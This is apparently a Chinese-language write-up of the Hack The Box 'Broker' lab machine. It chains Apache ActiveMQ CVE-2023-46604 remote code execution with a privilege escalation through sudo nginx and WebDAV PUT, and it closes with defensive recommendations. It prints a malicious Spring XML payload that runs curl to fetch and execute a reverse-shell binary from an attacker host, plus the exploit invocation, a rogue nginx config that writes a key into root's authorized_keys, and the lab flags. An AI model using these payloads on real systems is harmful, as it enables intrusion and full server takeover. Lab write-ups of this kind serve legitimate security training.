[Meachines] [Easy] Broker Apache MQ RCE+Nginx ngx_http_dav_module权限提升
字数 1433 2025-08-22 12:23:36

Apache ActiveMQ RCE 与 Nginx ngx_http_dav_module 权限提升攻击分析

1. 信息收集阶段

1.1 目标扫描

目标IP: 10.10.11.243

开放端口和服务:

  • 22/tcp: OpenSSH 8.9p1 Ubuntu
  • 80/tcp: nginx 1.18.0 (Ubuntu) - 需要基本认证(ActiveMQRealm)
  • 1883/tcp: MQTT服务
  • 5672/tcp: AMQP服务
  • 8161/tcp: Jetty 9.4.39.v20210325 - 需要基本认证(ActiveMQRealm)
  • 38507/tcp: tcpwrapped
  • 61613/tcp: Apache ActiveMQ STOMP协议
  • 61614/tcp: Jetty 9.4.39.v20210325
  • 61616/tcp: ApacheMQ OpenWire transport (版本: 5.15.15)

1.2 关键发现

从扫描结果中识别出Apache ActiveMQ服务运行在61616端口,版本为5.15.15,这存在已知的RCE漏洞(CVE-2023-46604)。

2. Apache ActiveMQ RCE漏洞利用(CVE-2023-46604)

2.1 漏洞概述

CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,攻击者可以通过OpenWire协议发送特制的序列化消息,触发服务器加载恶意的XML配置文件,从而导致任意代码执行。

2.2 漏洞利用步骤

  1. 准备恶意XML文件:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans" 
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>sh</value>
        <value>-c</value>
        <value>curl -s -o reverse http://10.10.16.28/reverse; chmod +x ./reverse; ./reverse</value>
      </list>
    </constructor-arg>
  </bean>
</beans>
  1. 使用公开的PoC工具:
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
go run main.go -i 10.10.11.243 -p 61616 -u http://10.10.16.28:9999/poc-linux.xml
  1. 获取初始访问权限:
    成功执行后获取用户权限,找到user flag:
    a178c399b0c91839399aa5b98c0c117c

3. Nginx ngx_http_dav_module权限提升

3.1 漏洞概述

当Nginx配置了ngx_http_dav_module模块并启用了PUT方法时,攻击者可以利用此功能上传文件到服务器上的任意位置,可能导致权限提升。

3.2 权限提升步骤

  1. 创建恶意Nginx配置文件:
cat << EOF > /tmp/shell.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events { worker_connections 768; }
http {
  server {
    listen 10031;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
EOF
  1. 以root权限启动Nginx:
sudo nginx -c /tmp/shell.conf
  1. 生成SSH密钥对:
ssh-keygen
  1. 上传公钥到root的authorized_keys:
curl -X PUT http://10.10.11.243:10031/root/.ssh/authorized_keys -d @/home/maptnh/.ssh/id_ed25519.pub
  1. 通过SSH以root身份登录:
ssh root@10.10.11.243 -i /home/maptnh/.ssh/id_ed25519
  1. 获取root flag:
    26eecd6da62a87d2098e474929f93140

4. 防御措施

4.1 针对Apache ActiveMQ RCE

  1. 升级到Apache ActiveMQ最新版本
  2. 限制OpenWire协议的访问权限
  3. 实施网络隔离,仅允许可信网络访问ActiveMQ服务
  4. 监控异常的网络流量和进程创建

4.2 针对Nginx权限提升

  1. 避免在生产环境中启用ngx_http_dav_module
  2. 如果必须使用,限制PUT方法的使用范围
  3. 确保Nginx不以root身份运行
  4. 定期审计Nginx配置文件
  5. 实施文件系统权限控制,限制Nginx进程的写入权限

5. 总结

本攻击链展示了如何利用Apache ActiveMQ的RCE漏洞获取初始访问权限,然后通过滥用Nginx的ngx_http_dav_module模块实现权限提升。这种组合攻击强调了纵深防御的重要性,即使初始漏洞利用只能获取低权限访问,系统其他部分的配置不当仍可能导致完全的系统沦陷。

Apache ActiveMQ RCE 与 Nginx ngx_ http_ dav_ module 权限提升攻击分析 1. 信息收集阶段 1.1 目标扫描 目标IP: 10.10.11.243 开放端口和服务: 22/tcp: OpenSSH 8.9p1 Ubuntu 80/tcp: nginx 1.18.0 (Ubuntu) - 需要基本认证(ActiveMQRealm) 1883/tcp: MQTT服务 5672/tcp: AMQP服务 8161/tcp: Jetty 9.4.39.v20210325 - 需要基本认证(ActiveMQRealm) 38507/tcp: tcpwrapped 61613/tcp: Apache ActiveMQ STOMP协议 61614/tcp: Jetty 9.4.39.v20210325 61616/tcp: ApacheMQ OpenWire transport (版本: 5.15.15) 1.2 关键发现 从扫描结果中识别出Apache ActiveMQ服务运行在61616端口,版本为5.15.15,这存在已知的RCE漏洞(CVE-2023-46604)。 2. Apache ActiveMQ RCE漏洞利用(CVE-2023-46604) 2.1 漏洞概述 CVE-2023-46604是Apache ActiveMQ中的一个远程代码执行漏洞,攻击者可以通过OpenWire协议发送特制的序列化消息,触发服务器加载恶意的XML配置文件,从而导致任意代码执行。 2.2 漏洞利用步骤 准备恶意XML文件 : 使用公开的PoC工具 : 获取初始访问权限 : 成功执行后获取用户权限,找到user flag: a178c399b0c91839399aa5b98c0c117c 3. Nginx ngx_ http_ dav_ module权限提升 3.1 漏洞概述 当Nginx配置了 ngx_http_dav_module 模块并启用了PUT方法时,攻击者可以利用此功能上传文件到服务器上的任意位置,可能导致权限提升。 3.2 权限提升步骤 创建恶意Nginx配置文件 : 以root权限启动Nginx : 生成SSH密钥对 : 上传公钥到root的authorized_ keys : 通过SSH以root身份登录 : 获取root flag : 26eecd6da62a87d2098e474929f93140 4. 防御措施 4.1 针对Apache ActiveMQ RCE 升级到Apache ActiveMQ最新版本 限制OpenWire协议的访问权限 实施网络隔离,仅允许可信网络访问ActiveMQ服务 监控异常的网络流量和进程创建 4.2 针对Nginx权限提升 避免在生产环境中启用 ngx_http_dav_module 如果必须使用,限制PUT方法的使用范围 确保Nginx不以root身份运行 定期审计Nginx配置文件 实施文件系统权限控制,限制Nginx进程的写入权限 5. 总结 本攻击链展示了如何利用Apache ActiveMQ的RCE漏洞获取初始访问权限,然后通过滥用Nginx的 ngx_http_dav_module 模块实现权限提升。这种组合攻击强调了纵深防御的重要性,即使初始漏洞利用只能获取低权限访问,系统其他部分的配置不当仍可能导致完全的系统沦陷。